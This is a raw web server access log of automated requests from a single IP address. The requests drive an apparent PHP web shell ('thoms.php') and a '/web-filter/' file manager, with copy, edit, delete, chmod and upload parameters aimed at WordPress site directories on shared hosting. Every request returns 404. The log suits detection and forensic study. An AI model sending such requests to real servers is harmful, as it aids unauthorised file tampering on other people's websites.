45.135.193.11 - - [11/Sep/2026:23:50:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /thoms.php?edit=wp-mail.php&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /thoms.php?edit=wp-mail.php&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /thoms.php?p=ba-guo.com.tw%2F.well-known%2Facme-challenge HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2F.well-known%2Facme-challenge" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /thoms.php?del=acme-challenge&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=acme-challenge&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /ba-guo.com.tw/.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/ba-guo.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /thoms.php?p=ba-guo.com.tw%2F.well-known&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2F.well-known&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known%2Facme-challenge&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known%2Facme-challenge&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /thoms.php?p=ba-guo.com.tw%2F.well-known&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2F.well-known&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /ba-guo.com.tw/.well-known/acme-challenge/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /thoms.php?chmod=acme-challenge&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=acme-challenge&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /ba-guo.com.tw/web-filter/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /ba-guo.com.tw/web-filter/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /ba-guo.com.tw/web-filter/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /ba-guo.com.tw/web-filter/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F&option=file HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /ba-guo.com.tw/web-filter/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /ba-guo.com.tw/web-filter/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /ba-guo.com.tw/web-filter/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /ba-guo.com.tw/web-filter/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /ba-guo.com.tw/web-filter/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F%2Fcjfuns.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /ba-guo.com.tw/web-filter/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /ba-guo.com.tw/web-filter/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /ba-guo.com.tw/web-filter/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F&location=%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /ba-guo.com.tw/web-filter/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F&location=%2Fhome%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /ba-guo.com.tw/web-filter/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /ba-guo.com.tw/web-filter/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F&option=folder HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:01 -0400] "GET /ba-guo.com.tw/web-filter/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
